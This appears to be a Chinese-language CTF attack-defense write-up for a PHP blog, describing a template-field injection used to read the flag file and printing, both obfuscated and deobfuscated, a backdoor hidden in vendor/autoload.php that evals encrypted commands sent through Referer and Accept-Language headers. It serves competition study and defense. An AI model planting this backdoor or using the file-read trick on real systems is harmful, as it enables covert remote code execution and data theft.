全国大学生信息安全竞赛线下赛-Web-Writeup

第九届全国大学生信息安全竞赛 Web攻防

比赛是8月中旬在上海进行的。这套源码一共发现了一个注入和一个后门。其实当时本来很早挖出了后门,但是补的第一波莫名其妙就把服务弄挂了,所以一直没补成,被打到最后还有两个小时,又试了一下,莫名其妙的这次就行了。

其实这个分析早就打算写,然是中途各种乱七八糟的事耽误了。源码在下面列出。侵删。

前言-环境搭建(老司机请飘过):

个人环境:Ubuntu14.04 + PHP5 + Apache + MySQL

关于压缩包中文件:ciscn

  1. Slim Framework
  2. 各文件夹放到www目录中,sql文件导入数据库。
  3. html/config.php中为数据库参数。两种改法,一种改文件,一种改你的数据库。此处我选择改文件。

然后访问你的搭建的网站会发现目标站是一个响应式的博客:

我们注意到此博客对URL进行了重写。因此我们要打开Apache的重写模块。给自己的博客做个伪静态的同学肯定都知道怎么弄。

sudo ln -s /etc/apache2/mods-available/rewrite.load /etc/apache2/mods-enabled
sudo vim /etc/apache2/apache2.conf
 
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
 
AllowOverride None 改为 AllowOverride All

至此,环境搭建完成。


初步分析

  • 一共三个文件夹,其中一个叫templates,里面是一些静态模板文件,根据经验这里不会有漏洞。
  • vender中装了一些让人懵逼,感觉是为了实现博客运行的基本代码。如果漏洞藏在这里面就太逆天了吧?不过有一个叫做vendor/autoload.php 的文件很敏感。但是这些都是主观臆断。因此更合适的方法是找到Slim框架并且diff一下。
  • html文件夹里面有两个值得分析的文件,分别是 index.php 和 db.php 。db.php 文件似乎只是用于执行SQL语句的,那么use了它的 index.php 则是分析的重中之重。

漏洞1

我们从看似容易的 html/index.php 文件入手。当然附带着得同时分析 html/db.php。脚本最后防止了文件名的XSS。
首先尝试正常功能。注册 – 登陆 – 发Note。对应源码我们可以看一看。
不论注册还是发Note,但凡用到了insert的,均未进行过滤。因此此处可以利用。由于比赛中flag是以文件形式存在与~/flag中,我们需要利用该漏洞读取文件内容。
以下是我尝试的三种模板的文章。

同时我们看一下数据库内容:

显然,文章的显示是通过读取数据库中的template字段内容来确定我的模板文件的。由于没有做过滤,我们可以利用这里的任意读取来做文章。看看源码:

$title = $parsedBody['title'];
$content = $parsedBody['content'];
$temp = "/note_tpl/{$parsedBody['temp']}.tpl";
$this->db->table('notes');
$this->db->insert($username, $title, $content, $temp);

我们可以通过控制写Note时提交的temp字段来读取任意文件。当然,这里有一点小技巧。最初我试图用%00来舍弃掉文件名后面的.tpl后缀,后来一直不成功。于是我换了一个思路,即继续注入。废话不说,直接上图:

数据库中内容:

使用 /check/{title} 访问即可:

漏洞2

回到之前觉得可疑的autoload.php中。该文件代码如下:

<?php 
// autoload.php @generated by Composer 
require_once __DIR__ . '/composer' . '/autoload_real.php'; 
return ComposerAutoloaderInit854778b4c93a322cf2f5c39e558d9f7a::getLoader();

跟踪一下:

/**
* Signature For Report
*/$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)';/*
*/$H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}';/*
*/$N='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p';/*
*/$u='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/';/*
*/$f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)';/*
*/$O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$f);)mif(';/*
*/$w=')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$s)m';/*
*/$P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=$sl()m$ss(m)md5($)mi.$kh)m),0,)m3));$f=$s)ml($ss()m)mmd5($i.$kf),0,3';/*
*/$i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(?:;q=0.)';/*
*/$x='m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";$sl="s)m';/*
*/$y=str_replace('b','','crbebbabte_funcbbtion');/*
*/$c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;';/*
*/$L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);/*
*/$v=$y('',$L);$v();/*
*/

去掉混淆:

<?php $kh = "4f7f";
$kf = "28d7";
function x($t, $k) {
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0;$i < $l;) {
        for ($j = 0;($j < $c && $i < $l);$j++, $i++) {
            $o.= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}
$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
    $u = parse_url($rr);
    parse_str($u["query"], $q);
    $q = array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
    if ($q && $m) {
        @session_start();
        $s = & $_SESSION;
        $ss = "substr";
        $sl = "strtolower";
        $i = $m[1][0] . $m[1][1];
        $h = $sl($ss(md5($i . $kh), 0, 3));
        $f = $sl($ss(md5($i . $kf), 0, 3));
        $p = "";
        for ($z = 1;$z < count($m[1]);$z++) $p.= $q[$m[2][$z]];
        if (strpos($p, $h) === 0) {
            $s[$i] = "";
            $p = $ss($p, 3);
        }
        if (array_key_exists($i, $s)) {
            $s[$i].= $p;
            $e = strpos($s[$i], $f);
            if ($e) {
                $k = $kh . $kf;
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
                $o = ob_get_contents();
                ob_end_clean();
                $d = base64_encode(x(gzcompress($o), $k));
                print ("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}

后门分析后续再更新……

0 Replies to “全国大学生信息安全竞赛线下赛-Web-Writeup”

    1. 换了个服务器和电脑,我也找不到了。我问一下队友,如果找到了给你邮箱发过去,你要是几天都没收到就说明我实在找不到了。

Leave a Reply